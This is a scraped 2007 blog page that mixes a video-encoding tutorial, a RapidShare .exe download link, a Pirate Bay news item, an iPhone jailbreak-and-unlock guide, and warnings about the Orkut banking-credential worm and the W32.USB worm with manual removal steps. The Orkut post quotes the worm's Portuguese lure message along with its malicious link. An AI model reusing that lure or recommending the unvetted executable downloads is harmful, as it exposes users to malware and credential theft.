Once your done, click okay, then Add Job, and Start Job. the encoding process will start and you'll get a whole bunch of info streaming in the bottom left:

AutoGK Image 4

image 5

AutoGK Image 6

It will open a second window which can be ignored. I suggest doing something else, away from the computer while this is working.

Finally it will finish. It took my computer almost 3 hours to encode Snatch to a 1400mb avi, a 700mb file will take around 2.5 hours:

AutoGK Image 7

You can close the program and go find your movie. If you made a 1400mb file then you're going to see 3 files. The largest is the whole movie and then there are two smaller ones that are the first and second halves. Unless you're burning the movie you can delete the two smaller files, as well as the files created by DVD Shrink.

The End

I hope this was a helpful tutorial, it doesn't look like much since the pictures are in links and it's rather long for a simple beginner's tutorial but hopefully you forgive me there

Enjoy.
_________________

download videos from youtube instantly

2007-10-29T00:07:00.000-07:00

just download the software form my link and
http://rapidshare.com/files/65943061/YouTube_Downloader_2.5.2.0.exe.html

1> http://img60506.pictiger.com/images/12904641/

2>http://img60506.pictiger.com/images/12904667/

TPB files charges against media companies

2007-10-28T23:02:00.001-07:00

Thanks to the email-leakage from MediaDefender-Defenders we now have proof of the things we've been suspecting for a long time; the big record and movie labels are paying professional hackers, saboteurs and ddosers to destroy our trackers.

While browsing through the email we identified the companies that are also active in Sweden and we have tonight reported these incidents to the police. The charges are infrastructural sabotage, denial of service attacks, hacking and spamming, all of these on a commercial level.

The companies that are being reported are the following:

Twentieth Century Fox, Sweden AB
Emi Music Sweden AB
Universal Music Group Sweden AB
Universal Pictures Nordic AB
Paramount Home Entertainment (Sweden) AB
Atari Nordic AB
Activision Nordic Filial Till Activision (Uk) Ltd
Ubisoft Sweden AB
Sony Bmg Music Entertainment (Sweden) AB
Sony Pictures Home Entertainment Nordic AB

Simple steps to unlock your ver 1.1.1 iPhone

2007-10-28T22:54:00.001-07:00

With the release of AnySIM v1.1.1 unlocker, I think it will be useful to (once again) describe in simple steps how YOU could also unlock your own iPhones.

Before we start, let me make this clear. If you have a previously unlocked iPhone and want to use v1.1.1, you need to have the baseband revirginized (see my other guide) and then update/unlock it.

This guide is not for you.

The goal of this guide is to downgrade a virgin v1.1.1 iPhone to v1.0.2 (in order to use iBrickr) and unlock it so as to be able to connect to any telco.

With that out of the way, let’s get down to business shall we?

Step 1. Download the tools that you are going to need for the unlock. For your benefit, I have mirrored them here on my site.

iBrickr v0.91
PACAY.rar
wiNstaller

Step 2. Start iTunes on your computer. Turn on your iPhone and place it on its dock. Start iBrickr. You will get a message from iBrickr saying that you’re running iPhone firmware 1.1.1.

Click on “See how deep the rabbit hole goes". The iBrickr screen will ask you whether to download the 1.0.2 firmware. Click continue.

And you will see this …

At which point the iPhone screen will turn white.

In iTunes, press the shift key and click on Restore, then select the file that iBrickr had just downloaded (1.02.ipsw). Allow iTunes to complete the downgrade (this takes about 3-4 minutes). You may get a error 1013, but just ignore it and go back to iBrickr.

Now select “iTunes said the restore failed, and I have a yellow triangle on my iPhone” option on the iBrickr screen and you will see this.

Click “Fix It".

Wait for the iPhone to reboot on its own. Close iBrickr.

Done? Great, proceed to the next step.

Step 3. Make sure iTunes is still running and double click on wInstallerGUI.exe that you just downloaded. Click on “Activate” and let the tool do its magic.

Your iPhone is now activated + jailbroken - you’re doing great! But wait a minute, we need to overwrite the lockdownd file in the phone. Double click the batch file in PACAY.rar and let the program run. Once this is done, you will have a fully activated phone.

Step 4. Now reboot your iPhone and you will have bypassed the Activation warning screen. If you have not, go back to Step 3 and redo the step. Ok, now we have to perform the baseband unlock.

On your iPhone, go to Settings->General->Auto-Lock and set to “Never". Install PXL and follow instructions on iBrickr and when you are done, you will see this:

Click on “Browse Applications” and you see this.

Select “anySIM v1.1″.

After AnySIM is installed, you’re set to the very last step of this unlock.

Step 5. You’re all set for the final step to unlock your iPhone! Slot in your SIM card into the iPhone, then tap on the AnySIM icon, follow the instructions and let the app do its job. Be patient and wait - it might take a while to flash the firmware.

If everything went well, you will now have an unlocked iPhone, connected to your mobile telco. Now go grab a beer and celebrate!

how to fix the orkut virus

2007-10-28T22:19:00.000-07:00

A new worm that attempts to steal online banking credentials is propagating on Google's social-networking Web site.

The worm, dubbed MW.Orc, primarily targets Brazilian users of Google's Orkut Web site. It uses a message in Portuguese to entice people to click on a file that is disguised as a JPEG image, FaceTime Security Labs said in a statement.

The initial file, called "minhasfotos.exe," creates two additional files on a user's system, "winlogon_.jpg" and "wzip32.exe," . When the user, after the initial compromise, clicks on the "My Computer" icon in Windows , an e-mail with his or her personal data is sent to the anonymous attacker.

Additionally, the compromised computer may be added to a network of hijacked PCs, known as a botnet. The pest also tries to propagate by placing a malicious link on the profiles of people in the Orkut user's network.

Google confirmed the worm. "We are aware of this issue and will have a temporary fix in place within the hour," a company representative said in an e-mailed statement. "We are working on a more permanent solution for users to guard against these malicious efforts."

For their protection, Orkut users, just as users of all online services and applications, should always be careful when opening or clicking on anything suspicious, the Google representative said.

Never bother to click on any links that sounds really unfamiliar to you even if it comes from your closest friend.

Here is how the scrap will look like.
“Opa, tudo bom? Eu criei um vídeo com uma seleção de minhas fotos novas, clica aí pra ver - h t t p :// y e p . i t / ? i k s t t v - Estão bem legais!!! “

What should you do?
Simply delete the scrap! As simple as that..

How does it spread?

It spreads through infected contacts. An orkut account gets infected once you click on the link. The Trojan posts a message in your friend's scrapbook area of the Orkut system. The message text is chosen by the attacker and can be a random sentence written in Brazilian Portuguese, such as the following:

Message example 1:
Opa, tudo bom? Eu criei um video com uma selecao de minhas fotos novas, clica ai pra ver - [MALICIOUS_LINK] - Esta bem legais!!!

Message example 2:
Oi... tudo bom? Como o orkut limita a quantidade de fotos que podem ser publicadas na minha conta, eu criei um slide com algumas fotos minhas, pra ver e so clicar clicar no link!!! [MALICIOUS_LINK] - Sei que vai gostar

If users click on the link, a malicious file is downloaded, which is a copy of Infostealer.Orcu.

When Inforstealer.Orcu is executed, it performs a series of actions and infects your system.

What does this scrap in Portuguese mean anyway? I tried using a translator and this is what I got…
Opa, all good one? I created a video with an election of my photos new, clica pra to see there - h t t p :// y e p . i t / ? i k s t t v - I am well legal!

Name of the Trojan: Infostealer.Orcu

Norton’s Description: Infostealer.Orcu is a Trojan horse that attempts to steal confidential information, such as bank and Paypal accounts. It may arrive as a message spammed across the Orkut network.

Systems Affected: Windows 2000, Windows 95, Windows 98, Windows Me, Windows NT, Windows Server 2003, Windows XP

Hackers are trying to steal Orkut users' bank account information by inserting an automated information theft worm, according to security researchers. The worm, known as MW.Orc, is propagating through Orkut when users launch an executable file disguised as a JPEG.

Google has a temporary fix in place and encourages Orkut users not to open suspicious files.

"We are aware of this issue and have a temporary fix in place. We are working on a more permanent solution for users to guard against these malicious efforts," said a representative from Google in a response emailed to Google Watch.
--------------------------------------------------
how to fix it
w32.USB Worm
It is spreading through Pen,USB,Thump disk thats why the name

It shows messages like

"I DNT HATE MOZILLA BUT USE IE OR ELSE..."

"USE INTERNET EXPLORER U DOPE"

"Orkut is banned you fool, The administrators didnt write this program guess who did?? MUHAHAHA!!" with title ORKUT IS BANNED

To Remove

1. Press CTRL+ALT+DEL and go to the processes tab

2. Look for svchost.exe under the image name. There will be many but look for the ones which have your username under the username

3. Press DEL to kill these files. It will give you a warning, Press Yes

4. Repeat for more svchost.exe files with your username and repeat. Do not kill svchost.exe with system, local service or network service!

5. Now open My Computer

6. In the address bar, type C:\heap41a and press enter. It is a hidden folder, and is not visible by default.

7. Delete all the files here

9. Now go to Start --> Run and type Regedit

10. Go to the menu Edit --> Find

11. Type "heap41a" here and press enter. You will get something like this "[winlogon] C:\heap41a\svchost.exe C:\heap(some number)\std.txt"

12. Select that and Press DEL. It will ask "Are you sure you wanna delete this value", click Yes

13. Now close the registry editor.

Now the virus is gone. But be sure to delete the autorun.inf file and any folder whose name ends with .exe in the pen drive.

Some reported that after this fix they were not able to see their Hidden folders and files if you have that issue try the folowing

1. Go to REGEDIT

2.[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]

3. set the DWORD "NoFolderOptions" to 0 or just delete it..

Try the following links also

1. http://www.freewebs.com/mgsujith/worm/remove.html

2. http://www.jeba.in/posts/w32usbworm-lets-remove-this-worm-manually/

3. http://mgharish.blogspot.com/2007/05/i-dnt-hate-mozilla-orkut-is-banned.html